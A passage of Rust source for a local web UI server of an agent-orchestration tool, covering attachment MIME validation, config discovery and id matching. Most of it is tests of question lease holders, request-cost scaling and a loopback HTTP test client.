10864    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
10865        Some("image/gif")
10866    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
10867        Some("image/webp")
10868    } else {
10869        None
10870    }
10871}
10872
10873/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
10874/// display - see [`talk::Attachment::name`]'s doc on why it never
10875/// contributes to a path. A missing or blank header (curl without it, an
10876/// older front end) falls back to a generic name rather than refusing the
10877/// upload over a field that is cosmetic.
10878fn filename_header(headers: &HeaderMap) -> String {
10879    headers
10880        .get(FILENAME_HEADER)
10881        .and_then(|v| v.to_str().ok())
10882        .map(str::trim)
10883        .filter(|s| !s.is_empty())
10884        .unwrap_or("attachment")
10885        .to_owned()
10886}
10887
10888/// Every attachment `GET` response: the mime re-validated against the same
10889/// closed whitelist the upload route enforces - never the string trusted
10890/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
10891/// cannot decide it knows better than the type we send. Unlike a panel asset
10892/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
10893/// document renders inline, not agent-authored HTML in a sandboxed frame.
10894fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
10895    let content_type = ATTACHMENT_MIME_WHITELIST
10896        .iter()
10897        .find(|&&m| m == mime)
10898        .copied()
10899        .unwrap_or("application/octet-stream");
10900    (
10901        [
10902            (header::CONTENT_TYPE, content_type),
10903            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10904        ],
10905        body,
10906    )
10907        .into_response()
10908}
10909
10910/// The configuration for a repository, read off the disk for this request.
10911///
10912/// Through [`blocking`] because discovery reads and merges several TOML files,
10913/// and because the alternative - caching it in [`Ui`] at startup - would mean
10914/// the operator's phone kept interviewing with a roster they had already
10915/// changed, with no way to reload it but restarting the server they are not
10916/// sitting in front of.
10917async fn config_for(repo: &FsPath) -> ApiResult<Config> {
10918    let repo = repo.to_path_buf();
10919    blocking(move || {
10920        let (cfg, _) = Config::discover(&repo, None)?;
10921        Ok(cfg)
10922    })
10923    .await
10924}
10925
10926/// The one prefix rule, used for both runs and tasks: a leading match for a
10927/// full id, a trailing match for the short form an operator reads off a
10928/// report. Written here rather than borrowed from `queue::resolve_id` because
10929/// the UI needs the two failures as different status codes, and telling them
10930/// apart from an error message is not something to build a route on.
10931fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
10932    let mut hits = ids
10933        .into_iter()
10934        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
10935    match (hits.next(), hits.next()) {
10936        (Some(one), None) => Ok(one),
10937        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
10938        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
10939            "`{prefix}` matches more than one {what}, including {a} and {b}"
10940        ))),
10941    }
10942}
10943
10944#[cfg(test)]
10945mod tests {
10946
10947    #[test]
10948    fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
10949        let dir = tempfile::tempdir().unwrap();
10950        let store = ask::Questions::at(dir.path().join("questions"));
10951        let mut q = Question::new(
10952            "task".to_owned(),
10953            "conduct".to_owned(),
10954            "conduct".to_owned(),
10955            "choose".to_owned(),
10956            String::new(),
10957            vec!["keep".to_owned()],
10958        );
10959        q.deputy = Some(ask::Deputy::new("brief".to_owned()));
10960        q.say("why?").unwrap();
10961        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
10962        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10963        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
10964        store.put(&mut q).unwrap();
10965        assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10966        assert_eq!(store.count_needs_owner(), 1);
10967        store.beat(&q.id, ask::WaiterKind::Deputy);
10968        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10969        assert_eq!(store.count_needs_owner(), 0);
10970        let mut stale = store.read_lease(&q.id).unwrap();
10971        stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
10972        std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
10973        let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
10974        assert!(view.deputy_exhausted);
10975        assert!(view.waiting_on_agent);
10976        assert_eq!(view.question.choices, ["keep"]);
10977        store.drop_lease(&q.id);
10978        q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
10979        assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
10980    }
10981
10982    #[test]
10983    fn holder_reads_the_lease_not_the_record() {
10984        let mut q = Question::new(
10985            "run".to_owned(),
10986            "implement".to_owned(),
10987            "impl-A".to_owned(),
10988            "which?".to_owned(),
10989            String::new(),
10990            Vec::new(),
10991        );
10992        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
10993        q.cwd = Some("/tmp".to_owned());
10994        assert_eq!(holder_of(&q, None), Some("nobody"));
10995        let beat = |kind, ago: i64| ask::Lease {
10996            kind,
10997            pid: 1,
10998            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
10999                .unwrap(),
11000        };
11001        let fresh = beat(ask::WaiterKind::Asker, 1);
11002        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
11003        let daemon = beat(ask::WaiterKind::Daemon, 1);
11004        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
11005        let stale = beat(ask::WaiterKind::Asker, 3600);
11006        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
11007
11008        // A conductor question says "deputy" only while one is attached and
11009        // alive, and "nobody" - never silence - when nothing ever listened.
11010        let mut c = Question::new(
11011            "task".to_owned(),
11012            crate::conduct::NODE.to_owned(),
11013            "conduct".to_owned(),
11014            "which?".to_owned(),
11015            String::new(),
11016            Vec::new(),
11017        );
11018        assert_eq!(holder_of(&c, None), Some("nobody"));
11019        c.cwd = Some("/tmp".to_owned());
11020        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
11021        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
11022        let deputy = beat(ask::WaiterKind::Deputy, 1);
11023        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
11024        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
11025
11026        // A release-watch question: nobody until a deputy is attached.
11027        let mut r = Question::new(
11028            String::new(),
11029            crate::bump::NOTICE_NODE.to_owned(),
11030            "release-watch".to_owned(),
11031            "stuck?".to_owned(),
11032            String::new(),
11033            vec!["hold".to_owned()],
11034        );
11035        assert_eq!(holder_of(&r, None), Some("nobody"));
11036        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
11037        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
11038        // A choice-less bump notice is nobody's question at all.
11039        r.deputy = None;
11040        r.seat = "bump".to_owned();
11041        assert_eq!(holder_of(&r, None), None);
11042
11043        // A merge approval is the same: nobody until a deputy is attached
11044        // and alive, never a silent "no holder".
11045        let mut m = Question::new(
11046            "run".to_owned(),
11047            crate::land::APPROVAL_NODE.to_owned(),
11048            "land".to_owned(),
11049            "merge?".to_owned(),
11050            String::new(),
11051            Vec::new(),
11052        );
11053        assert_eq!(holder_of(&m, None), Some("nobody"));
11054        assert_eq!(
11055            holder_of(&m, Some(&fresh)),
11056            Some("asker"),
11057            "a live explicit wait is a listener even before a deputy is attached"
11058        );
11059        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
11060        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
11061        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
11062        assert_eq!(holder_of(&m, None), Some("nobody"));
11063    }
11064
11065    fn stub_config() -> Config {
11066        // An explicit roster, so the result never depends on which agent CLIs
11067        // this machine has installed.
11068        Config {
11069            agents: vec![crate::config::AgentSpec {
11070                id: "stub".to_owned(),
11071                kind: AgentKind::Command,
11072                model: None,
11073                command: vec!["true".to_owned()],
11074                extra_args: Vec::new(),
11075                env: Default::default(),
11076                prompt_delivery: None,
11077                max_turn_secs: None,
11078            }],
11079            ..Config::default()
11080        }
11081    }
11082
11083    fn plain_question(seat: &str) -> Question {
11084        Question::new(
11085            String::new(),
11086            "n".to_owned(),
11087            seat.to_owned(),
11088            "s".to_owned(),
11089            String::new(),
11090            Vec::new(),
11091        )
11092    }
11093
11094    #[test]
11095    fn deputies_enabled_follows_the_config() {
11096        let on = stub_config();
11097        assert!(crate::deputy::can_start(Some(&on), ""));
11098        assert!(crate::deputy::can_start(Some(&on), "stub"));
11099        let mut off = on.clone();
11100        off.daemon.max_deputies = 0;
11101        assert!(!crate::deputy::can_start(Some(&off), ""));
11102        let mut empty = on;
11103        empty.agents.clear();
11104        assert!(!crate::deputy::can_start(Some(&empty), ""));
11105        assert!(!crate::deputy::can_start(None, ""));
11106    }
11107
11108    #[test]
11109    fn question_views_load_the_config_once() {
11110        let dir = TempDir::new().unwrap();
11111        let store = ask::Questions::at(dir.path().to_path_buf());
11112        let mut with_deputy = plain_question("b");
11113        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
11114        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
11115
11116        let calls = std::cell::Cell::new(0usize);
11117        let views = question_views(qs.clone(), &store, || {
11118            calls.set(calls.get() + 1);
11119            Some(stub_config())
11120        });
11121        assert_eq!(calls.get(), 1);
11122        assert_eq!(views.len(), 3);
11123        for (v, q) in views.iter().zip(&qs) {
11124            assert_eq!(
11125                v.deputies_enabled,
11126                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
11127            );
11128        }
11129
11130        let views = question_views(qs, &store, || None);
11131        assert!(views.iter().all(|v| !v.deputies_enabled));
11132
11133        let calls = std::cell::Cell::new(0usize);
11134        let views = question_views(Vec::new(), &store, || {
11135            calls.set(calls.get() + 1);
11136            None
11137        });
11138        assert!(views.is_empty());
11139        assert_eq!(calls.get(), 0);
11140    }
11141
11142    use pretty_assertions::assert_eq;
11143    use serde_json::Value;
11144    use tempfile::TempDir;
11145    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
11146
11147    use super::*;
11148    use crate::config::Config;
11149    use crate::queue::Source;
11150
11151    /// How many 10ms steps a settle loop takes before it calls a stall a
11152    /// stall - thirty seconds.
11153    ///
11154    /// These loops wait on real `sh` subprocesses, and the machine that runs
11155    /// the gate runs several suites at once, so a two-second budget was not
11156    /// waiting for the reply, it was racing the scheduler: two of these
11157    /// tests failed under that load with the turn simply not landed yet.
11158    /// This is a hang guard, not a latency assertion - every loop breaks the
11159    /// moment its condition holds, so a generous cap costs an idle machine
11160    /// nothing and still fails a genuine hang instead of hanging the suite.
11161    const SETTLE_STEPS: usize = 3_000;
11162
11163    /// A home with a queue and a runs directory, and a router serving it on
11164    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
11165    /// dependency, not ours - so the tests drive a real socket, which has the
11166    /// side benefit of asserting the status line and content types the phone
11167    /// actually receives.
11168    struct Fixture {
11169        home: TempDir,
11170        addr: SocketAddr,
11171    }
11172
11173    impl Fixture {
11174        async fn start() -> Self {
11175            Self::with_loop(launch_idle).await
11176        }
11177
11178        /// A fixture whose loop is `launch`.
11179        async fn with_loop(launch: Launch) -> Self {
11180            let home = TempDir::new().expect("temp home");
11181            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
11182            Self { home, addr }
11183        }
11184
11185        /// A fixture whose `ui.repo` is a real directory rather than the
11186        /// usual placeholder - for the routes that read config off it
11187        /// (`GET /api/repos`) and would otherwise have nothing to discover.
11188        async fn with_repo(repo: PathBuf) -> Self {
11189            let home = TempDir::new().expect("temp home");
11190            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
11191            Self { home, addr }
11192        }
11193
11194        /// As [`Fixture::with_repo`], with the machine-config file the
11195        /// settings screen reads and writes.
11196        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
11197            let home = TempDir::new().expect("temp home");
11198            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
11199            Self { home, addr }
11200        }
11201
11202        async fn serve(
11203            home: &FsPath,
11204            repo: PathBuf,
11205            launch: Launch,
11206            machine: Option<PathBuf>,
11207        ) -> SocketAddr {
11208            let queue = Queue::at(home.join("queue"));
11209            let runs = home.join("runs");
11210            std::fs::create_dir_all(&runs).expect("runs dir");
11211            let worktrees = home.join("wt").join("magi");
11212            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
11213            let ui = Ui::new(
11214                queue,
11215                Questions::at(home.join("questions")),
11216                Talks::at(home.join("talks")),
11217                runs,
11218                home.to_path_buf(),
11219                repo,
11220            )
11221            .with_worktrees_root(worktrees)
11222            .with_machine_config(machine)
11223            .with_launch(launch);
11224            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11225                .await
11226                .expect("bind loopback");
11227            let addr = listener.local_addr().expect("local addr");
11228            tokio::spawn(async move {
11229                let router = ui
11230                    .router()
11231                    .layer(axum::middleware::from_fn(request_cost::observe));
11232                let _ = axum::serve(listener, router).await;
11233            });
11234            addr
11235        }
11236
11237        fn queue(&self) -> Queue {
11238            Queue::at(self.home.path().join("queue"))
11239        }
11240
11241        fn questions(&self) -> Questions {
11242            Questions::at(self.home.path().join("questions"))
11243        }
11244
11245        fn talks(&self) -> Talks {
11246            Talks::at(self.home.path().join("talks"))
11247        }
11248
11249        fn runs(&self) -> PathBuf {
11250            self.home.path().join("runs")
11251        }
11252
11253        async fn get(&self, path: &str) -> Res {
11254            request(self.addr, "GET", path, None).await
11255        }
11256
11257        /// The status and headers without the body, which is how the front end
11258        /// preflights a panel: a sandboxed frame is opaque to the parent
11259        /// document, so the only way to tell "no panel" from "a panel that
11260        /// rendered blank" is to ask before mounting.
11261        async fn head(&self, path: &str) -> Res {
11262            request(self.addr, "HEAD", path, None).await
11263        }
11264
11265        async fn post(&self, path: &str, body: Option<&str>) -> Res {
11266            request(self.addr, "POST", path, body).await
11267        }
11268
11269        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
11270            request_with(self.addr, "GET", path, None, extra).await
11271        }
11272
11273        async fn delete(&self, path: &str) -> Res {
11274            request(self.addr, "DELETE", path, None).await
11275        }
11276
11277        async fn put(&self, path: &str, body: &str) -> Res {
11278            request(self.addr, "PUT", path, Some(body)).await
11279        }
11280
11281        /// `POST` a raw body with its own headers - see [`request_bytes`].
11282        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
11283            request_bytes(self.addr, path, headers, body).await
11284        }
11285    }
11286
11287    /// Real tracking refs exercise the successful discovery path (including
11288    /// extraction), rather than counting cheap failures on a placeholder repo.
11289    async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
11290        let tmp = TempDir::new().unwrap();
11291        let mut repos = Vec::new();
11292        for name in ["one", "two"] {
11293            let repo = tmp.path().join(name);
11294            let origin = tmp.path().join(format!("{name}.git"));
11295            std::fs::create_dir_all(&repo).unwrap();
11296            crate::git::git(&repo, &["init", "-b", "main"])
11297                .await
11298                .unwrap();
11299            std::fs::write(
11300                repo.join("magi.toml"),
11301                format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
11302            )
11303            .unwrap();
11304            crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
11305            crate::git::git(
11306                &repo,
11307                &[
11308                    "-c",
11309                    "user.name=fixture",
11310                    "-c",
11311                    "user.email=fixture@example.invalid",
11312                    "commit",
11313                    "-m",
11314                    "fixture",
11315                ],
11316            )
11317            .await
11318            .unwrap();
11319            crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
11320                .await
11321                .unwrap();
11322            crate::git::git(
11323                &repo,
11324                &["remote", "add", "origin", origin.to_str().unwrap()],
11325            )
11326            .await
11327            .unwrap();
11328            crate::git::git(&repo, &["push", "origin", "main"])
11329                .await
11330                .unwrap();
11331            crate::git::git(
11332                &repo,
11333                &[
11334                    "symbolic-ref",
11335                    "refs/remotes/origin/HEAD",
11336                    "refs/remotes/origin/main",
11337                ],
11338            )
11339            .await
11340            .unwrap();
11341            let (cfg, _) = Config::discover(&repo, None).unwrap();
11342            assert!(cfg.agents.iter().any(|a| a.id == "mock"));
11343            repos.push(repo);
11344        }
11345        let repos: [PathBuf; 2] = repos.try_into().unwrap();
11346        (tmp, repos)
11347    }
11348
11349    async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
11350        let (tmp, repos) = performance_repositories().await;
11351        let machine = tmp.path().join("machine.toml");
11352        std::fs::write(&machine, "").unwrap();
11353        let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
11354        (tmp, repos, fx)
11355    }
11356
11357    fn seed_performance(
11358        fx: &Fixture,
11359        repos: &[PathBuf; 2],
11360        questions: usize,
11361        runs: usize,
11362        items: usize,
11363    ) {
11364        // Saving states directly never starts a run or changes MAGI_HOME.
11365        for i in fx.questions().list().len()..questions {
11366            let mut question = Question::new(
11367                "20261001-000000-0000".into(),
11368                "implement".into(),
11369                "impl-A".into(),
11370                format!("question {i}"),
11371                "context".into(),
11372                vec!["yes".into(), "no".into()],
11373            );
11374            question.id = format!("20261003-000000-{i:04x}");
11375            fx.questions().put(&mut question).unwrap();
11376        }
11377        for i in run_ids(&fx.runs()).len()..runs {
11378            write_run_repo(
11379                &fx.runs(),
11380                &format!("20261001-000000-{i:04x}"),
11381                RunStatus::Ready,
11382                repos[i % 2].to_str().unwrap(),
11383            );
11384        }
11385        for i in fx.talks().list().len()..items {
11386            let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
11387            let mut talk = fx.talks().get(&id).unwrap();
11388            talk.repo = repos[i % 2].clone();
11389            fx.talks().put(&mut talk).unwrap();
11390            let mut task = crate::queue::Task::new(
11391                format!("task {i}"),
11392                "instruction".into(),
11393                repos[i % 2].clone(),
11394                crate::queue::Source::Agent {
11395                    run: id,
11396                    node: crate::queue::CHAT_NODE.into(),
11397                },
11398            );
11399            task.id = format!("20261004-000000-{i:04x}");
11400            fx.queue().put(&mut task).unwrap();
11401            // Notices has a production retention cap; seed up to that cap.
11402            if i < crate::notices::CAP {
11403                Notices::at(fx.home.path().join("notifications"))
11404                    .raise(Notice::info(&format!("notice-{i}"), "notification"))
11405                    .unwrap();
11406            }
11407        }
11408        assert_eq!(fx.questions().list().len(), questions);
11409        assert_eq!(run_ids(&fx.runs()).len(), runs);
11410        assert_eq!(fx.talks().list().len(), items);
11411        assert_eq!(fx.queue().list().len(), items);
11412        assert_eq!(
11413            Notices::at(fx.home.path().join("notifications"))
11414                .list()
11415                .len(),
11416            items.min(crate::notices::CAP)
11417        );
11418    }
11419
11420    #[tokio::test]
11421    async fn source_eviction_web_diffs_survive_repository_removal_and_reject_corruption() {
11422        let home = TempDir::new().unwrap();
11423        let root = home.path().canonicalize().unwrap();
11424        let addr = Fixture::serve(&root, root.join("repo"), launch_idle, None).await;
11425        let fx = Fixture { home, addr };
11426        let repo = root.as_path().join("archive-repo");
11427        std::fs::create_dir(&repo).unwrap();
11428        crate::git::git(&repo, &["init", "-b", "main"])
11429            .await
11430            .unwrap();
11431        crate::git::git(&repo, &["config", "user.name", "Fixture"])
11432            .await
11433            .unwrap();
11434        crate::git::git(&repo, &["config", "user.email", "fixture@example.invalid"])
11435            .await
11436            .unwrap();
11437        crate::git::git(&repo, &["config", "commit.gpgsign", "false"])
11438            .await
11439            .unwrap();
11440        std::fs::write(repo.join("source"), "base").unwrap();
11441        crate::git::git(&repo, &["add", "."]).await.unwrap();
11442        crate::git::git(&repo, &["commit", "-m", "base"])
11443            .await
11444            .unwrap();
11445        let base = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
11446        std::fs::write(repo.join("source"), "archived review").unwrap();
11447        crate::git::git(&repo, &["commit", "-am", "review"])
11448            .await
11449            .unwrap();
11450        let head = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
11451        let mut config = Config::default();
11452        config.graph.worktree_root = Some(root.as_path().join("copies"));
11453        let mut state = RunState::new(
11454            repo.clone(),
11455            "main".into(),
11456            base.clone(),
11457            "archive".into(),
11458            config,
11459        );
11460        state.id = "20260101-000000-ef05".into();
11461        state.status = RunStatus::Ready;
11462        state.save_under(root.as_path()).unwrap();
11463        let evidence =
11464            crate::fold_evidence::snapshot(&state, root.as_path(), &head, 64 * 1024 * 1024)
11465                .await
11466                .unwrap();
11467        let base_evidence =
11468            crate::fold_evidence::snapshot(&state, root.as_path(), &base, 64 * 1024 * 1024)
11469                .await
11470                .unwrap();
11471        let source = state.worktree_root().join("review-1");
11472        let mut contents = std::collections::BTreeMap::new();
11473        contents.insert(
11474            repo.join("logs/HEAD"),
11475            format!("{base} {head} fixture\n").into_bytes(),
11476        );
11477        let record = serde_json::json!({
11478            "version":1, "run":state.id, "source":source, "head":head,
11479            "evidence":evidence, "admin":{}, "admin_contents":contents,
11480            "history":{base:base_evidence, head.clone():evidence}, "phase":"evicted"
11481        });
11482        std::fs::write(
11483            fx.runs()
11484                .join(&state.id)
11485                .join("artifacts/eviction-review-1.json"),
11486            serde_json::to_vec(&record).unwrap(),
11487        )
11488        .unwrap();
11489        std::fs::remove_dir_all(&repo).unwrap();
11490        let url = format!("/api/runs/{}/seat-evidence", state.id);
11491        let list = fx.get(&url).await;
11492        assert_eq!(list.status, 200, "{}", list.body);
11493        assert_eq!(list.json()[&head], "review-1");
11494        let patch = fx.get(&format!("{url}/{head}")).await;
11495        assert_eq!(patch.status, 200, "{}", patch.body);
11496        assert!(patch.body.contains("+archived review"));
11497        assert_eq!(fx.get(&format!("{url}/unknown")).await.status, 404);
11498        std::fs::write(evidence.join("objects.pack"), "corrupt").unwrap();
11499        assert_eq!(fx.get(&url).await.status, 404);
11500        assert_eq!(fx.get(&format!("{url}/{head}")).await.status, 404);
11501    }
11502
11503    fn request_counts(res: &Res) -> (usize, usize) {
11504        assert_eq!(res.status, 200, "{}", res.body);
11505        (
11506            res.header("x-test-discoveries").unwrap().parse().unwrap(),
11507            res.header("x-test-git").unwrap().parse().unwrap(),
11508        )
11509    }
11510
11511    #[tokio::test]
11512    async fn list_request_cost_is_independent_of_record_count() {
11513        let (_tmp, repos, fx) = performance_fixture().await;
11514        let mut previous = None;
11515        for n in [4, 60] {
11516            seed_performance(&fx, &repos, n, n, n);
11517            let mut costs = Vec::new();
11518            for (path, discoveries) in [
11519                ("/api/questions", 1),
11520                ("/api/talks", 0),
11521                ("/api/health", 0),
11522                ("/api/stats", 1),
11523            ] {
11524                // Equal cold extraction caches at both scales; this also
11525                // bounds first-request cost instead of only warmed requests.
11526                for repo in &repos {
11527                    let cache = repo.join(".git/magi/config");
11528                    if cache.exists() {
11529                        std::fs::remove_dir_all(cache).unwrap();
11530                    }
11531                }
11532                let cost = request_counts(&fx.get(path).await);
11533                eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
11534                assert_eq!(cost.0, discoveries, "{path}, N={n}");
11535                assert!(
11536                    cost.1 <= 40 && (discoveries == 0 || cost.1 > 0),
11537                    "{path}: {cost:?}"
11538                );
11539                costs.push(cost);
11540            }
11541            if let Some(previous) = previous {
11542                assert_eq!(costs, previous);
11543            }
11544            previous = Some(costs);
11545        }
11546        // runs reads shared row inputs and probes process liveness; queue
11547        // builds one blocker inventory; notifications reads its own store.
11548        // None discovers configuration or spawns git per item.
11549    }
11550
11551    /// The same handler path without transport, so the deterministic cause
11552    /// can also be checked in environments that prohibit binding sockets.
11553    #[tokio::test]
11554    async fn list_handler_cost_without_transport() {
11555        let (_tmp, repos) = performance_repositories().await;
11556        let fx = Fixture {
11557            home: TempDir::new().unwrap(),
11558            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11559        };
11560        let ui = Arc::new(
11561            Ui::new(
11562                fx.queue(),
11563                fx.questions(),
11564                fx.talks(),
11565                fx.runs(),
11566                fx.home.path().to_path_buf(),
11567                repos[0].clone(),
11568            )
11569            .with_worktrees_root(fx.home.path().join("wt")),
11570        );
11571        let mut previous = None;
11572        for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
11573            seed_performance(&fx, &repos, n, runs, items);
11574            let mut costs = Vec::new();
11575            for endpoint in ["questions", "talks", "health", "stats"] {
11576                for repo in &repos {
11577                    let cache = repo.join(".git/magi/config");
11578                    if cache.exists() {
11579                        std::fs::remove_dir_all(cache).unwrap();
11580                    }
11581                }
11582                let (_, cost) = request_cost::measure(async {
11583                    match endpoint {
11584                        "questions" => {
11585                            let _ = questions_list(State(ui.clone())).await.unwrap();
11586                        }
11587                        "talks" => {
11588                            let _ = talks_list(
11589                                State(ui.clone()),
11590                                Query(ListQuery {
11591                                    limit: None,
11592                                    ids: None,
11593                                }),
11594                                header::HeaderMap::new(),
11595                            )
11596                            .await
11597                            .unwrap();
11598                        }
11599                        "health" => {
11600                            let _ = health(State(ui.clone())).await.unwrap();
11601                        }
11602                        _ => {
11603                            let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
11604                                .await
11605                                .unwrap();
11606                        }
11607                    }
11608                })
11609                .await;
11610                eprintln!("{endpoint} handler N={n}: {cost:?}");
11611                assert_eq!(
11612                    cost.0,
11613                    if matches!(endpoint, "talks" | "health") {
11614                        0
11615                    } else {
11616                        1
11617                    },
11618                    "{endpoint}"
11619                );
11620                assert!(
11621                    cost.1 <= 40 && (matches!(endpoint, "talks" | "health") || cost.1 > 0),
11622                    "{endpoint}: {cost:?}"
11623                );
11624                costs.push(cost);
11625            }
11626            if let Some(previous) = previous {
11627                assert_eq!(costs, previous);
11628            }
11629            previous = Some(costs);
11630        }
11631    }
11632
11633    #[tokio::test]
11634    async fn list_request_cost_scopes_do_not_mix() {
11635        let (_tmp, repos, fx) = performance_fixture().await;
11636        seed_performance(&fx, &repos, 10, 0, 10);
11637        let (questions, talks, notices) = tokio::join!(
11638            fx.get("/api/questions"),
11639            fx.get("/api/talks"),
11640            fx.get("/api/notifications")
11641        );
11642        assert_eq!(request_counts(&questions).0, 1);
11643        // Cached summaries perform no config discovery or git work, even
11644        // alongside the questions request that still discovers config.
11645        assert_eq!(request_counts(&talks), (0, 0));
11646        assert_eq!(request_counts(&notices), (0, 0));
11647    }
11648
11649    #[tokio::test]
11650    async fn list_endpoints_large_home_responses() {
11651        check_large_home_endpoints(false).await;
11652    }
11653
11654    #[tokio::test]
11655    #[ignore = "local wall-clock performance measurement; see docs/web-responsiveness.md"]
11656    async fn list_endpoints_large_home_ceiling() {
11657        check_large_home_endpoints(true).await;
11658    }
11659
11660    async fn check_large_home_endpoints(timed: bool) {
11661        let (_tmp, repos, fx) = performance_fixture().await;
11662        seed_performance(&fx, &repos, 200, 300, 400);
11663        let mut failures = Vec::new();
11664        // app.js boot/change loads plus the initial dashboard, settings and
11665        // repo picker. SSE is a persistent stream, not a bounded GET.
11666        for path in [
11667            "/",
11668            "/app.js",
11669            "/app.css",
11670            "/api/questions",
11671            "/api/runs?limit=300",
11672            "/api/queue",
11673            "/api/talks",
11674            "/api/notifications",
11675            "/api/health",
11676            "/api/stats",
11677            "/api/loop",
11678            "/api/settings",
11679            "/api/repos",
11680        ] {
11681            let start = std::time::Instant::now();
11682            let result = if timed {
11683                tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await
11684            } else {
11685                Ok(fx.get(path).await)
11686            };
11687            let elapsed = start.elapsed();
11688            eprintln!("{path}: {elapsed:?}");
11689            match result {
11690                Ok(res) if res.status == 200 && (!timed || elapsed <= Duration::from_secs(5)) => {}
11691                Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
11692                Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
11693            }
11694        }
11695        assert!(failures.is_empty(), "{}", failures.join("\n"));
11696    }
11697
11698    struct Res {
11699        status: u16,
11700        headers: String,
11701        /// The header block with its original casing, for the assertions that
11702        /// compare a header *value* rather than looking for a name. Lowercasing
11703        /// a CSP would hide a directive spelled with a capital letter, and the
11704        /// whole point of that test is that the string is exactly right.
11705        head: String,
11706        body: String,
11707        /// The body before any UTF-8 handling, for the routes that serve
11708        /// something other than text. A panel asset is a PNG as often as not,
11709        /// and `from_utf8_lossy` would silently replace half of it.
11710        bytes: Vec<u8>,
11711    }
11712
11713    impl Res {
11714        fn json(&self) -> Value {
11715            serde_json::from_str(&self.body)
11716                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
11717        }
11718
11719        /// One header's value verbatim, or `None` when it was not sent.
11720        fn header(&self, name: &str) -> Option<&str> {
11721            self.head.lines().find_map(|line| {
11722                let (key, value) = line.split_once(':')?;
11723                key.trim()
11724                    .eq_ignore_ascii_case(name)
11725                    .then(|| value.trim_start().trim_end_matches('\r'))
11726            })
11727        }
11728    }
11729
11730    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
11731    /// be read to end-of-stream without parsing framing.
11732    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
11733        request_with(addr, method, path, body, &[]).await
11734    }
11735
11736    /// As [`request`], with extra request headers - conditional GETs need
11737    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
11738    /// worse than one that sets none.
11739    async fn request_with(
11740        addr: SocketAddr,
11741        method: &str,
11742        path: &str,
11743        body: Option<&str>,
11744        extra: &[(&str, &str)],
11745    ) -> Res {
11746        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11747        for (name, value) in extra {
11748            head.push_str(&format!("{name}: {value}\r\n"));
11749        }
